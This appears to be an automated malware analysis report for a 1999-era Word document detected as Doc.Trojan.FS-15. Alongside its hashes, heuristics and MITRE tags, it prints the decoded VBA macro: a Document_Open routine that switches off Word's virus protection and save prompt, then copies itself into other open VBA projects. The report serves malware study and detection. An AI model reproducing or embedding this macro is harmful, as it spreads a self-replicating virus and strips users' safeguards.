Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fd4f7c0921be1a02…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-07-17 18:46:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 77a066085e07c3f1adfad29420fb78f2 SHA-1: 0cad088318a8a2c5c98fbfbbe6fcfd4906137ef3 SHA-256: fd4f7c0921be1a02209a5336b98fa1b640b832a227743669847594ac0c18c4e5
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a VBA macro that is triggered by the Document_Open event. This macro attempts to obfuscate and execute its code, indicating a malicious intent to compromise the user's system. The presence of the 'Doc.Trojan.FS-15' ClamAV detection further supports its malicious nature. The macro's primary function appears to be code execution upon document opening, likely as a first stage for further malicious activity.

Heuristics 3

  • ClamAV: Doc.Trojan.FS-15 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-15
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 783 bytes
SHA-256: d7dfe6619086fc829c07caaa8a11c2b1b489b105055bd6d12cd960be2100eaf0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Shove
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Application.EnableCancelKey = 0
With VBProject.VBComponents(1).CodeModule
ι = .Lines(1, .CountOfLines)
.DeleteLines 1, .CountOfLines: End With
�: Set α = VBE.VBProjects(Int(Rnd() * VBE.VBProjects.Count + 1))
If α.Protection <> 1 Then
With α.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines: .AddFromString ι
Exit Sub: End With: End If: GoTo �
End Sub

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